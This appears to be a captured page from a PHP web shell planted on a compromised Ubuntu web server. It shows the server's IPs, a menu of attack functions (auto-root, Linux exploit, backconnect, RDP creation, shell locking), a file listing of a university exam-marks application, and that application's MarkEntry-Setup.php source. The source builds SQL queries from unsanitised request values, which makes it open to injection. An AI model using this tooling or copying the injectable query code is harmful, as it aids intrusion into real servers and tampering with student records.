Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.35.234
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
CIEAttendanceNotEligible.php
3.28
KB
-rw-rw-r--
CIEpendingList.php
5.85
KB
-rw-rw-r--
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
DisplayPrintApplication_ru.php
65.63
KB
-rw-rw-r--
ECHblk.php
14.61
KB
-rwxr-xr-x
ECHblk_15042021.php
11.68
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
30.6
KB
-rw-rw-r--
MarkEntry-Setup_bf_gcg.php
22.89
KB
-rwxr-xr-x
MarkEntry-Setupx.php
30.61
KB
-rwxr-xr-x
SelectSubjType.php
3.05
KB
-rw-rw-r--
SubjectType.php
3.62
KB
-rw-rw-r--
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
UpdateCollDet.php
2.03
KB
-rwxr-xr-x
absentAndMalReportPdf.php
8.25
KB
-rw-rw-r--
absentEntryYearModewise.php
991
B
-rw-rw-r--
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
11.36
KB
-rwxr-xr-x
ack_adm_application.php
103.36
KB
-rwxr-xr-x
ack_adm_application.php.orig
58.73
KB
-rwxr-xr-x
ack_admentry_application.php
59.63
KB
-rwxr-xr-x
ack_exam_app_form.php
20.27
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12.71
KB
-rwxr-xr-x
ack_report.php
3.69
KB
-rwxr-xr-x
ack_rv_rt_application.php
9.34
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
adm_delete_data.php
5.58
KB
-rwxr-xr-x
admapprove.php
10.33
KB
-rwxr-xr-x
admapprove_kus.php
9.28
KB
-rwxr-xr-x
admissionHallTicket.php
4.43
KB
-rw-r--r--
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admissionapplist.php
5.06
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxr-xr-x
admstuddate.php
6.06
KB
-rwxr-xr-x
admuploadexsheet.php
20.48
KB
-rwxr-xr-x
affliation_fee.php
5.04
KB
-rwxrwxrwx
approve.php
41.53
KB
-rwxr-xr-x
approve_kus.php
24.12
KB
-rwxr-xr-x
assignUserMenu.php
13.66
KB
-rw-rw-r--
attCisshortList_sjbit.php
11.91
KB
-rw-r--r--
attEntTeachWise.php
2.07
KB
-rw-rw-r--
attEntryDaywise.php
26.9
KB
-rw-rw-r--
attTeachSum.php
3.63
KB
-rw-r--r--
attendEntry.php
5.32
KB
-rw-rw-r--
attendance.php
17.09
KB
-rwxr-xr-x
attendanceReportForm.php
6.36
KB
-rw-rw-r--
attendance_freez.php
8.51
KB
-rwxr-xr-x
attendance_freez_mth.php
8.24
KB
-rwxr-xr-x
attendanceentrydaywise.php
11.36
KB
-rw-r--r--
attendenceshort.php
7.58
KB
-rw-rw-r--
attshort.php
6.29
KB
-rwxr-xr-x
atttechblp.php
2.48
KB
-rw-r--r--
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
4.12
KB
-rwxr-xr-x
backup_1.php
7.85
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
backupold.php
2.73
KB
-rwxr-xr-x
bill_details.php
14.21
KB
-rw-rw-r--
board.php
4
KB
-rwxr-xr-x
bundle_dispatch.php
3.2
KB
-rwxr-xr-x
bundle_rec_ack.php
4.67
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.28
KB
-rwxr-xr-x
candidate-entry.php
50.68
KB
-rwxr-xr-x
cappcontext.php
2.71
KB
-rwxr-xr-x
challan_entries.php
15.05
KB
-rwxr-xr-x
challan_preparation.php
11.29
KB
-rwxr-xr-x
changeDegree.php
1.56
KB
-rwxr-xr-x
changeMobile.php
2.13
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
cntDeclaration.php
4.23
KB
-rwxr-xr-x
coll_exam_app_form.php
3.29
KB
-rwxr-xr-x
collbankdet.php
1.9
KB
-rwxr-xr-x
colldesp_ack.php
4.03
KB
-rw-rw-r--
college.php
5.39
KB
-rwxr-xr-x
college_approve.php
5.59
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
collegewisedownload.php
9.46
KB
-rw-rw-r--
colltransfer.php
6.83
KB
-rw-rw-r--
connect.php
2.58
KB
-rwxr-xr-x
convdet.php
8.02
KB
-rwxr-xr-x
convo.php
8.14
KB
-rw-rw-r--
copoMarksList.php
1.27
KB
-rw-rw-r--
copomarksentry.php
10.46
KB
-rw-r--r--
copomarksexternal.php
23.05
KB
-rw-r--r--
coporeport.php
4.56
KB
-rw-r--r--
courserep.php
1.68
KB
-rw-r--r--
coutput.php
1.84
KB
-rwxr-xr-x
createAdmission.php
14.91
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
createattclass.php
6.99
KB
-rw-rw-r--
createclassattend.php
22.03
KB
-rw-r--r--
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
548
B
-rwxr-xr-x
cuser.php
3.53
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
6.67
KB
-rwxr-xr-x
degree.php
8.28
KB
-rwxr-xr-x
degree_SujectReport.php
893
B
-rw-rw-r--
degstudymat.php
6.51
KB
-rwxr-xr-x
degstudymatdet.php
6.27
KB
-rwxr-xr-x
degwiseIAreport.php
2.95
KB
-rw-rw-r--
display_details_in_grid.php
107.2
KB
-rw-rw-r--
display_details_in_grid_bf_231...
111.76
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.72
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
doc_verify.php
7.52
KB
-rwxr-xr-x
download_misc_files.php
5.19
KB
-rwxr-xr-x
download_misc_files_bcu_comm.p...
4.19
KB
-rwxr-xr-x
download_photo.php
35.98
KB
-rwxr-xr-x
download_photo_pgadm_photos.ph...
4.73
KB
-rw-rw-r--
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
editstddet.php
7.01
KB
-rw-rw-r--
enableStudReg.php
7.65
KB
-rwxr-xr-x
entregupd.php
1.91
KB
-rw-rw-r--
entryexitevents.php
3.09
KB
-rwxr-xr-x
error_log.php
749
B
-rwxr-xr-x
examappfeereport.php
2.12
KB
-rw-rw-r--
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
feepaidreports.php
2.77
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
10.48
KB
-rwxr-xr-x
freeze_module_at_admin_college...
9.35
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
freezeiaprici.php
10.87
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getDegreeAndSem.php
4.32
KB
-rw-rw-r--
getMessages.php
11.39
KB
-rwxr-xr-x
getTestTotalMarksReport.php
11.96
KB
-rw-rw-r--
getdata.php
39.06
KB
-rwxrwxrwx
getdataold.php
29.62
KB
-rwxr-xr-x
getfeeinformation.php
7.26
KB
-rwxr-xr-x
getmoduledetails.php
23.77
KB
-rwxr-xr-x
getnumword.php
7.45
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
htblk.php
6.13
KB
-rwxr-xr-x
ia_room_allotment_datewise.php
12.13
KB
-rwxr-xr-x
iaabsententry.php
3.1
KB
-rw-r--r--
iamarks.php
7.68
KB
-rw-r--r--
iaroomdeclaration.php
2.6
KB
-rwxr-xr-x
iasectionwise.php
30.09
KB
-rw-r--r--
iasectionwisenew.php
35.77
KB
-rw-r--r--
iatimetable.php
7.61
KB
-rw-r--r--
identifyCoMarksNew.php
2.6
KB
-rw-rw-r--
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
invigilatorDairyRoomWise.php
6.07
KB
-rw-rw-r--
json.php
34.52
KB
-rwxr-xr-x
lateralentry.php
2.39
KB
-rwxr-xr-x
login.php
8.88
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
marksEntryExt.php
9.11
KB
-rwxr-xr-x
marksentryext.php
13.1
KB
-rw-rw-r--
marksentryquestionwise.php
41.93
KB
-rw-rw-r--
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
1.68
KB
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
155.51
KB
-rwxr-xr-x
mregistry18.06.2021.php
99.46
KB
-rwxr-xr-x
mregistry_14092024.php
150.27
KB
-rw-rw-r--
mrn_approval.php
9
KB
-rwxr-xr-x
oldqnpaper.php
4.44
KB
-rw-rw-r--
pendingcie.php
4.21
KB
-rw-rw-r--
picharttesting.php
24.76
KB
-rw-r--r--
pmarks.php
5.97
KB
-rw-rw-r--
post.php
6
KB
-rwxr-xr-x
practicalMarks.php
8.67
KB
-rw-rw-r--
prbillreport.php
5.07
KB
-rw-r--r--
prientCodeStikers.php
6.35
KB
-rw-r--r--
principalFreeze.php
6.92
KB
-rw-rw-r--
principalfreezingsubject.php
1.9
KB
-rw-rw-r--
printAdmRegn.php
13.13
KB
-rwxr-xr-x
printApp_ru.php
1.12
KB
-rw-rw-r--
printMarkListDetailsWisenew_sj...
14.42
KB
-rw-r--r--
qnwiseMarksStats.php
6.14
KB
-rw-rw-r--
qnwisemarksentrynew.php
18.61
KB
-rw-rw-r--
qpSummaryReport.php
1.03
KB
-rw-rw-r--
receive_rv_rt_application.php
8.33
KB
-rwxr-xr-x
receive_teach_trans.php
2.49
KB
-rw-rw-r--
receive_teach_transfer.js
5.06
KB
-rw-rw-r--
remunerationEntry.php
7.14
KB
-rw-rw-r--
repeateriamarksentry.php
4.86
KB
-rw-rw-r--
report_bulk_applications.php
19.42
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
22.93
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.54
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
resetPasswordUser.php
2.69
KB
-rw-rw-r--
result.php
5.06
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
roomAllotment.php
37.45
KB
-rw-rw-r--
room_allotment.php
9.14
KB
-rwxr-xr-x
room_allotment_datewise.php
26.07
KB
-rwxr-xr-x
room_allotment_datewise_bf_rcu...
16.97
KB
-rwxr-xr-x
room_allotment_datewise_stph.p...
21.57
KB
-rwxr-xr-x
room_allotment_datewise_stph_n...
29.01
KB
-rwxr-xr-x
room_allotment_shifiting.php
3.34
KB
-rwxr-xr-x
roomallotmentExcel.php
8.23
KB
-rw-rw-r--
roomallotmentqpwise.php
10.22
KB
-rw-rw-r--
roomallotmentqpwisenew.php
13.92
KB
-rw-rw-r--
roomcreationnew.php
2.81
KB
-rw-rw-r--
roomdeclaration.php
2.2
KB
-rwxr-xr-x
roomdeclaration_stph.php
2.51
KB
-rwxr-xr-x
roomwiseinvigilatorsEntry.php
9.86
KB
-rw-rw-r--
rvdates.php
6.46
KB
-rw-rw-r--
rvrt_ack_exam_app.php
6
KB
-rw-rw-r--
rvrt_report.php
1.92
KB
-rw-rw-r--
savePassword.php
1.14
KB
-rw-rw-r--
saveclsdets.php
1.91
KB
-rw-rw-r--
savesspdetails.php
9.93
KB
-rw-rw-r--
sectionwisepermission.php
5.67
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
sendsmsapi.php
814
B
-rwxr-xr-x
sendusrandpws.php
1002
B
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
shortLists.php
1.65
KB
-rw-rw-r--
std_register_det.php
3.56
KB
-rw-rw-r--
stringspliter.php
693
B
-rwxr-xr-x
studSubIdent.php
11.23
KB
-rw-r--r--
stud_name_doc_upload.php
1.24
KB
-rw-rw-r--
stud_wise_report.php
3.02
KB
-rw-rw-r--
student.php
58.23
KB
-rwxr-xr-x
student_entry.php
61.39
KB
-rwxr-xr-x
student_entry_kswu.php
51.23
KB
-rwxr-xr-x
student_entry_nitte.php
88.09
KB
-rw-rw-r--
student_entry_rur.php
74.42
KB
-rw-rw-r--
student_entry_vku.php
66.58
KB
-rwxr-xr-x
student_rur.php
64.37
KB
-rw-rw-r--
student_vku.php
57.95
KB
-rwxr-xr-x
studentfeesandattiashortagedat...
11.38
KB
-rw-rw-r--
studentportal_remove.php
6.18
KB
-rwxr-xr-x
studentreport.php
15.37
KB
-rw-rw-r--
studnamecorr.php
6.69
KB
-rw-rw-r--
subIAMarksEntry.php
11.14
KB
-rw-rw-r--
subblock.php
6.12
KB
-rwxr-xr-x
subdet.php
9.61
KB
-rw-rw-r--
subjReg.php
12.04
KB
-rw-r--r--
subjectList_display.php
11.7
KB
-rwxr-xr-x
subject_freshExam.php
33.18
KB
-rwxr-xr-x
subject_freshExam_rcub.php
28.33
KB
-rwxr-xr-x
subjectfreez.php
13.02
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
12.43
KB
-rwxr-xr-x
subshort.php
8.97
KB
-rw-rw-r--
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
80.41
KB
-rwxr-xr-x
teachFreeze.php
8.17
KB
-rw-r--r--
teachOficerEntry.php
11.46
KB
-rwxr-xr-x
teachers.php
19.76
KB
-rwxr-xr-x
theoryMarksEntry.php
4.89
KB
-rw-rw-r--
thvalmarks.php
2.72
KB
-rw-r--r--
time_table_degreewise.php
5
KB
-rwxrwxrwx
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
4.74
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
updatecopo.php
9.34
KB
-rw-r--r--
updatedegreegroup.php
3.21
KB
-rw-rw-r--
updateexamcnt.php
2.92
KB
-rwxr-xr-x
updatefreshexam.php
1.33
KB
-rw-rw-r--
updatestudentsem.php
2.03
KB
-rw-rw-r--
updatetimetable.php
9.14
KB
-rw-r--r--
updateuvcms.php
2.37
KB
-rw-rw-r--
updmarks.php
22.24
KB
-rw-r--r--
updnemp.php
1.78
KB
-rw-r--r--
upload_doc_demo.php
84
B
-rw-rw-r--
upload_studentPhoto.php
10.81
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadcopo.php
7.89
KB
-rw-r--r--
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
uploadteacherattendance.php
5.23
KB
-rw-r--r--
userpasswordreset.php
754
B
-rw-rw-r--
usersetup.php
24.46
KB
-rwxr-xr-x
usersetupNew.php
12.76
KB
-rw-r--r--
usersubj_identification.php
5.15
KB
-rwxr-xr-x
viewNotifications.php
1.21
KB
-rw-rw-r--
view_ledger.php
3.64
KB
-rwxrwxrwx
yearmode.php
1.83
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MarkEntry-Setup.php
<?php function saveMarkEntrySubjectwise($aobj_context) { session_start(); include_once("/JSON.php"); include("error_log.php"); $json = new Services_JSON(); $fsnglent = $_SESSION['FSNGLENT']; $FMULTEXAM = $_SESSION['FMULTEXAM']; $univcode = $_SESSION['FUNIVCODE']; $degree_code = ($aobj_context->mobj_data["Fdegree"]); $dsp_date = ($aobj_context->mobj_data["date"]); $Examno = ($aobj_context->mobj_data["FExamno"]); $Sub_code = ($aobj_context->mobj_data["Fsubcode"]); $etype = ($aobj_context->mobj_data["g_m_1_2_type"]); $test = ($aobj_context->mobj_data["test"]); $College_Code = $_SESSION['collcode']; $User_code = $_SESSION['usr']; $type =($aobj_context->mobj_data["type"]); $lstr_param = stripslashes($aobj_context->mobj_data["output_details"]); $mobj_jsondata = $json->decode($lstr_param); $Markentry_details = get_object_vars($mobj_jsondata); $total_marks_entry = count($Markentry_details); $get_degree_exam_type = "select FMEYEAR,FMEEXAMTYP from degree where FDEGREE='{$degree_code}'and FEXAMNO='{$Examno}'"; $lobj_get_degree_exam_type = $aobj_context->mobj_db->getRow($get_degree_exam_type); $FYEAR=$lobj_get_degree_exam_type['FMEYEAR']; $FEXAMTYPE=$lobj_get_degree_exam_type['FMEEXAMTYP']; $check_marksentry_freeze = "select FCMESTATUS, ifnull(FIASTOP,'') as FIASTOP from colldeg where FCOLLCODE='{$College_Code}' and FDEGREE='{$degree_code}' and DATE_FORMAT(NOW(),'%Y-%m-%d') BETWEEN DATE_FORMAT(FIAMARKSDATE,'%Y-%m-%d') AND DATE_FORMAT(FIAMARKEDATE,'%Y-%m-%d')"; $lobj_check_marksentry_freeze = $aobj_context->mobj_db->getRow($check_marksentry_freeze); /* if (count($lobj_check_marksentry_freeze) == false) { $rdata = 'Last date is over for marks entry'; echo $aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure"); return; } */ if(is_null($lobj_check_marksentry_freeze['FCMESTATUS'])) { for( $i = 0; $i<$total_marks_entry; $i++ ) { if(!empty($Markentry_details[$i]->FRegno)) { if($FMULTEXAM == 'F') { if($fsnglent == 'T') { $markscol = "fmarks = '{$Markentry_details[$i]->Fmark}', fmarks2 = '{$Markentry_details[$i]->Fmark}',FPRESENT = '{$Markentry_details[$i]->Fpersent}',"; } else { if($etype == 1) { $markscol = "fmarks = '{$Markentry_details[$i]->Fmark}',FPRESENT = '{$Markentry_details[$i]->Fpersent}',"; } else { $markscol = "fmarks2 = '{$Markentry_details[$i]->Fmark}',FPRESENT = '{$Markentry_details[$i]->Fpersent}',"; } } } if($FMULTEXAM == 'T') { if($fsnglent == 'T') { if($test == '1') { if($univcode == '033') { $markscol = "fmarks11 = '{$Markentry_details[$i]->Fmark}', fmarks12 = '{$Markentry_details[$i]->Fmark}', FPRESENT11 = '{$Markentry_details[$i]->Fpersent}',FPRESENT12 = '{$Markentry_details[$i]->Fpersent}', fmarks = '{$Markentry_details[$i]->Fmark}', FPRESENT = '{$Markentry_details[$i]->Fpersent}',"; }else { $markscol = "fmarks11 = '{$Markentry_details[$i]->Fmark}', fmarks12 = '{$Markentry_details[$i]->Fmark}', FPRESENT11 = '{$Markentry_details[$i]->Fpersent}',FPRESENT12 = '{$Markentry_details[$i]->Fpersent}',"; } } if($test == '2') $markscol = "fmarks21 = '{$Markentry_details[$i]->Fmark}', fmarks22 = '{$Markentry_details[$i]->Fmark}', FPRESENT21 = '{$Markentry_details[$i]->Fpersent}',FPRESENT22 = '{$Markentry_details[$i]->Fpersent}',"; if($test == '3') $markscol = "fmarks31 = '{$Markentry_details[$i]->Fmark}', fmarks32 = '{$Markentry_details[$i]->Fmark}', FPRESENT31 = '{$Markentry_details[$i]->Fpersent}',FPRESENT32 = '{$Markentry_details[$i]->Fpersent}',"; if($test == '4') $markscol = "fmarks41 = '{$Markentry_details[$i]->Fmark}', fmarks42 = '{$Markentry_details[$i]->Fmark}', FPRESENT41 = '{$Markentry_details[$i]->Fpersent}',FPRESENT42 = '{$Markentry_details[$i]->Fpersent}',"; } else { if($etype == 1) { if($test == '1') $markscol = "fmarks11 = '{$Markentry_details[$i]->Fmark}'"; if($test == '2') $markscol = "fmarks21 = '{$Markentry_details[$i]->Fmark}'"; if($test == '3') $markscol = "fmarks31 = '{$Markentry_details[$i]->Fmark}'"; if($test == '4') $markscol = "fmarks41 = '{$Markentry_details[$i]->Fmark}'"; } else { $markscol = "fmarks2 = '{$Markentry_details[$i]->Fmark}'"; if($test == '1') $markscol = "fmarks12 = '{$Markentry_details[$i]->Fmark}'"; if($test == '2') $markscol = "fmarks22 = '{$Markentry_details[$i]->Fmark}'"; if($test == '3') $markscol = "fmarks32 = '{$Markentry_details[$i]->Fmark}'"; if($test == '4') $markscol = "fmarks42 = '{$Markentry_details[$i]->Fmark}'"; } } } // if($Markentry_details[$i]->Fmark != '-1') // { $qry = "select fmarks from marks where fcollcode = '{$College_Code}' and fdegree = '{$degree_code}' and fexamno = '{$Examno}' and fsubcode = '{$Sub_code}' and fregno = '{$Markentry_details[$i]->FRegno}'"; $res = $aobj_context->mobj_db->getRow($qry); $lquery = "update marks SET {$markscol} FLOGNAME = '{$User_code}', FLOGDATE = NOW() where FCOLLCODE = '{$College_Code}' and FDEGREE = '{$degree_code}' and FEXAMNO = '{$Examno}' and FREGNO = '{$Markentry_details[$i]->FRegno}' and FSUBCODE = '{$Sub_code}'"; //var_dump($lquery); $obj_upd = $aobj_context->mobj_db->Execute($lquery); //} $oldmarks = $res['fmarks']; $univcode = $_SESSION['FUNIVCODE']; $mob = $_SESSION['FMOBILE']; $usr = $_SESSION['usr']; $college_code = $_SESSION['collcode']; $remark = "MEN - IA Marks Entry - $degree_code, $Examno, $Sub_code, $College_Code,".$Markentry_details[$i]->FRegno.", Old: $oldmarks, New: ".$Markentry_details[$i]->Fmark; $enttype = "MEN"; $res = error_logs($aobj_context,$univcode,$remark,$college_code,$enttype,$usr,$mob); } } if($obj_upd) { $rdata = "Updated Successfully."; print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success")); return $rdata; } else { $rdata = "No Updation / Add..!"; print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure")); return $rdata; } } else { $rdata='Mark Entry Subjectwise Freezed By Admin'; echo $aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure"); return; } } function saveMarkEntryStudentwise($aobj_context) { session_start(); include_once("/JSON.php"); $json = new Services_JSON(); $dsp_date = ($aobj_context->mobj_data["date"]); $degree_code = ($aobj_context->mobj_data["Fdegree"]); $Examno = ($aobj_context->mobj_data["FExamno"]); $Reg_no = ($aobj_context->mobj_data["FRegno"]); $College_Code = $_SESSION['collcode']; $User_code = $_SESSION['usr']; $type =($aobj_context->mobj_data["type"]); $all_sub_codes =stripslashes(trim(($aobj_context->mobj_data["all_sub_codes"]))); $all_sub_codes=substr($all_sub_codes,0,strlen($all_sub_codes)-1); $lstr_param = stripslashes($aobj_context->mobj_data["output_details"]); $mobj_jsondata = $json->decode($lstr_param); $Markentry_details = get_object_vars($mobj_jsondata); $check_marksentry_freeze =" select FCMESTATUS, ifnull(FIASTOP,'') as FIASTOP from colldeg where FCOLLCODE='{$College_Code}' and FDEGREE='{$degree_code}'"; $lobj_check_marksentry_freeze = $aobj_context->mobj_db->getRow($check_marksentry_freeze); if($lobj_check_marksentry_freeze['FIASTOP']=='T') { $rdata='Last date is over for marks entry'; echo $aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure"); return; } if(is_null($lobj_check_marksentry_freeze['FCMESTATUS'])) { for($i = 1; $i <=count($Markentry_details); $i++ ) { $update_qry="update marks set FMARKS='{$Markentry_details[$i]->Fsecmark}', FPRESENT='{$Markentry_details[$i]->Fpreabs}', FLOGDATE=NOW() where FDEGREE='{$degree_code}' and FCOLLCODE='{$College_Code}' and FREGNO='{$Reg_no }' and FSUBCODE='{$Markentry_details[$i]->Fsubcode}' and FEXAMNO='{$Examno}'"; $lobj_update_qry = $aobj_context->mobj_db->Execute($update_qry); } if($lobj_update_qry) { $rdata = " Details Updated Successfully."; print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success")); return $rdata; } else { $rdata = "Updation Failed."; print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure")); return $rdata; } } else { $rdata='Mark Entry Subjectwise Freezed By Admin'; echo $aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure"); return; } } function DisplayStudentMarkEnteryTable($aobj_context) { include_once("/JSON.php"); $json = new Services_JSON(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $Regno = ($aobj_context->mobj_data["Regno"]); $Degcode = ($aobj_context->mobj_data["Degcode"]); $Examno = ($aobj_context->mobj_data["Examno"]); $College_Code = $_SESSION['collcode']; $path = $aobj_context->main_src.'/imported_files/'; $path_name = "imported_files/mestudent_{$College_Code}_{$_SESSION['user_id']}.html"; $filename = "{$path}mestudent_{$College_Code}_{$_SESSION['user_id']}.html"; unlink($filename); $fp = fopen($filename, 'w+'); $Table_Header.="<table width='80%' cellspacing='0' class='tr_ventor_row' cellpadding='0' border='0' >"; $Table_Header.="<th align='left' colspan='5' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Marks List</th>"; $Table_Header.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $Table_Header.="<td style='padding:2px; width:60px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Sub Code</center></td>"; $Table_Header.="<td style='padding:2px; width:140px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Subject</center></td>"; $Table_Header.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Max.Marks</center></td>"; $Table_Header.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Sec.Marks</center></td>"; $Table_Header.="<td style='padding:2px; width:20px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Ab/Pr</center></td>"; $Table_Header.="</tr>"; $get_records = " select sub.FCSUBCODE as FCsubcode,concat(sub.FSUBNAME,'-',sub.FSSUBNAME) as Fullsubname, sub.FSMAXMARKS as MaxMarks, IFNULL(mak.FMARKS, '-1') as SecMarks, mak.FPRESENT as FPresent from marks mak inner join subject sub on mak.FDEGREE=sub.FDEGREE and mak.FSUBCODE=sub.FCSUBCODE inner join degree d on d.FDEGREE =mak.FDEGREE and d.Fexamno=mak.Fexamno and d.FMEYEAR=mak.FYEAR and d.FMEEXAMTYP=mak.FEXAMTYPE and mak.FEXAMNO=sub.FEXAMNO and mak.Fregno='{$Regno}' where mak.Fdegree='{$Degcode}' and mak.Fexamno='{$Examno}' group by sub.FCSUBCODE "; $lobj_get_records = $aobj_context->mobj_db->getAll($get_records); $i=0; $cnt=1; $id=1; foreach($lobj_get_records as $key=>$val) { $border_bottom=""; if($cnt==count($lobj_get_records)) $border_bottom="border-bottom:1px solid #ccc;"; $data_details.="<tr class={$class} >"; $data_details.="<td id='cds_subcode_{$id}' align=center style='border-right:1px solid #ccc; {$border_bottom} border-left:1px solid #ccc; padding:2px;'>{$val[FCsubcode]}</td>"; $data_details.="<td id='cds_subname_{$id}'align='left' style='border-right:1px solid #ccc; {$border_bottom} solid #ccc; padding:2px;'>{$val[Fullsubname]}</td>"; $data_details.="<td id='cds_maxmarks_{$id}' align='center' style='border-right:1px solid #ccc; {$border_bottom} solid #ccc; padding:2px;'>{$val[MaxMarks]}</td>"; $data_details.="<td id='cds_secmarks_{$id}' align=center style='border-right:1px solid #ccc; {$border_bottom} solid #ccc; padding:2px;'> <input class='ElementCount' onkeypress='return acceptNumbersOnlyForModule(event);' type=text name='markentry_stu_wise' value={$val[SecMarks]} onfocus='{$g_focus_element}' style='width:50px;' onblur='validateStudentwiseEntryMarks(this);' id='Marks_{$id}'></td>"; $data_details.="<td id='cds_status_{$id}' align=center style='{$border_bottom} border-right:1px solid #ccc; '>{$val[FPresent]}</td>"; $data_details.="</tr>"; $k++; $id++; $cnt++; } $e_data=$Table_Header.$data_details; $arr['filenme']=$path_name; fwrite($fp, $e_data); fclose($fp); echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } function getDefaultMarksEntrySubjectRegNos($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $College_Code = $_SESSION['collcode']; $range = ($aobj_context->mobj_data["range"]); $type = ($aobj_context->mobj_data["type"]); $limit = 